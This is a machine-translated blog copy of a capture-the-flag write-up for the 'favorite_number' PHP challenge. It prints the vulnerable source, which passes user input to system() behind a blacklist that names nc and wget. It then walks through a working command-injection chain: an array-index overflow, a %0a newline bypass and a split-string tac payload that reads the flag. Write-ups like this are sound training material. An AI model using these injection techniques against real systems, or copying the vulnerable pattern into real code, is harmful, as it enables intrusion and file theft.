当前位置:网站首页>Attack and defense world web question -favorite_ number
Attack and defense world web question -favorite_ number
2022-07-26 00:40:00 【Try to be a big man M0_ sixty-eight million seventy-four thousa】
Code audit
The source code is given directly , Conduct code audit .
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
First post Pass in the parameter , There are two parameters passed in , One stuff, One num, First stuff It has to be with array The type and value of the array are exactly the same , however stuff[0] It can't be admin, after num It has to be numbers , And set blacklist filtering , Final output .
PHP5.5.9 Integer overflow vulnerability
stay php5.5.9 In version , When the array is nine 16 Number of hours , It will overflow , Equivalent to reordering ,16 Of 8 The power is 4294967296 Logically equivalent to subscript 0. So we can use 4294967296 Treat it as a zero subscript to bypass sutff[0]!=‘admin’.
bp Grab and replay payload:stuff[4294967296]=admin&stuff[1]=user&num=123
preg_match() Bypass
first preg_match() Bypass ,preg_match() Will not match newline , have access to %0a To bypass .payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aasd
Successfully bypassed .
View file first .
It can be executed , After searching, I found flag In the root directory 
Finally, bypass the blacklist cat It is filtered and can be used tac Open up
cat: Start with the first line , And output all the content
tac: Show the contents in reverse order from the last line , And output all the content
flag You can bypass .payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aa=ag;b=fl;tac /$b$a
Succeed in getting flag.
边栏推荐
猜你喜欢

Verilog语法基础HDL Bits训练 05

Getting started with D3D calculation shaders

In order to grasp the redis data structure, I drew 40 pictures (full version)

Hcip - republish

Research on the integrated data quality management system and technical framework under the scenario of data circulation and transaction

After seven years of testing, the interview with Huawei finally negotiated a salary of 10000. HR said that I didn't respect Huawei and they didn't have such a low salary position~

Quick start sequence table chain table

Tarjan finds the strongly connected component o (n+m), shrinking point

The way to understand JS: the principle of object.call and object.create() inheritance

8个小妙招调整数据库性能优化,yyds
随机推荐
Azure Synapse Analytics 性能优化指南(1)——使用有序聚集列存储索引优化性能
YOLOV3
【零基础玩转BLDC系列】基于反电动势过零检测法的无刷直流电机控制原理
sql语句练习
After seven years of testing, the interview with Huawei finally negotiated a salary of 10000. HR said that I didn't respect Huawei and they didn't have such a low salary position~
Private cloud disk setup
本地电脑架设传奇怎么开外网叫朋友一起玩?
2022/7/25 exam summary
HCIP第十三天
Research on text classification of e-commerce comments based on mffmb
Biological JC uvssa complex alleviates myc driven transcription pressure ⼒ English
Verilog grammar basics HDL bits training 05
[oops framework] network module websocket
HNOI2012矿场搭建
BGP 综合实验
GOM and GEE engine black screen does not display the interface, and the solution of equipping map monsters
hcia综合实验
Redis夺命十二问,你能扛到第几问?
Hcip day 12
Mwec: a new Chinese word discovery method based on multi semantic word vector